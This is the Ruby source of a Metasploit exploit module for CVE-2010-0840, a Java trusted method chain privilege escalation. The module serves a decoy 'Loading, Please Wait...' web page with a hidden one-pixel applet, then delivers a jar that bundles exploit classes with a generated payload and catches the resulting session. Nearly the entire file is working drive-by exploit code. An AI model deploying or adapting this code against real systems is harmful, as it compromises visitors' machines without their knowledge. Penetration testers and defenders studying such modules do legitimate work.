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GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/modules/exploits/multi/browser/java_trusted_chain.rb
Views: 1904
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##

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# This module requires Metasploit: https://metasploit.com/download

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# Current source: https://github.com/rapid7/metasploit-framework

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##

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class MetasploitModule < Msf::Exploit::Remote

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  Rank = ExcellentRanking

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  include Msf::Exploit::Remote::HttpServer::HTML

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  # Superceded by java_atomicreferencearray

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  #include Msf::Exploit::Remote::BrowserAutopwn

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  #autopwn_info({ :javascript => false })

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  def initialize( info = {} )

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    super( update_info( info,

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      'Name'          => 'Java Statement.invoke() Trusted Method Chain Privilege Escalation',

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      'Description'   => %q{

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      This module exploits a vulnerability in Java Runtime Environment

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      that allows an untrusted method to run in a privileged context.  The

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      vulnerability affects version 6 prior to update 19 and version 5

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      prior to update 23.

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      },

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      'License'       => MSF_LICENSE,

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      'Author'        => [

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        'Sami Koivu', # Discovery

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        'Matthias Kaiser', # PoC

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        'egypt' # metasploit module

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      ],

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      'References'    =>

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      [

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        [ 'CVE', '2010-0840' ],

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        [ 'OSVDB', '63483' ],

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        [ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-trusted-method-chaining-cve-2010.html' ],

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      ],

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      'Platform'      => %w{ java linux win },

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      'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },

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      'Targets'       =>

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        [

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          [ 'Generic (Java Payload)',

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            {

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              'Arch' => ARCH_JAVA,

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            }

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          ],

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          [ 'Windows Universal',

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            {

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              'Arch' => ARCH_X86,

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              'Platform' => 'win'

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            }

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          ],

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          [ 'Linux x86',

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            {

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              'Arch' => ARCH_X86,

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              'Platform' => 'linux'

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            }

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          ]

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        ],

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      'DefaultTarget'  => 0,

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      'DisclosureDate' => '2010-03-31'

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      ))

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  end

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  def on_request_uri( cli, request )

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    if not request.uri.match(/\.jar$/i)

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      if not request.uri.match(/\/$/)

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        send_redirect(cli, get_resource() + '/', '')

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        return

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      end

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      print_status("#{self.name} handling request")

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      send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )

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      return

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    end

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    paths = [

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      [ "vuln", "Exploit.class" ],

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      [ "vuln", "Exploit$1.class" ],

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      [ "vuln", "Link.class" ],

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    ]

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    p = regenerate_payload(cli)

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    jar  = p.encoded_jar

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    paths.each do |path|

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      1.upto(path.length - 1) do |idx|

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        full = path[0,idx].join("/") + "/"

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        if !(jar.entries.map{|e|e.name}.include?(full))

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          jar.add_file(full, '')

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        end

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      end

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      fd = File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2010-0840", path ), "rb")

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      data = fd.read(fd.stat.size)

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      jar.add_file(path.join("/"), data)

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      fd.close

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    end

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    print_status( "Sending Applet.jar" )

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    send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )

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    handler( cli )

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  end

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  def generate_html

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    html  = "<html><head><title>Loading, Please Wait...</title></head>"

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    html += "<body><center><p>Loading, Please Wait...</p></center>"

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    html += "<applet archive=\"Exploit.jar\" code=\"vuln.Exploit.class\" width=\"1\" height=\"1\">"

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    html += "</applet></body></html>"

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    return html

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  end

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end

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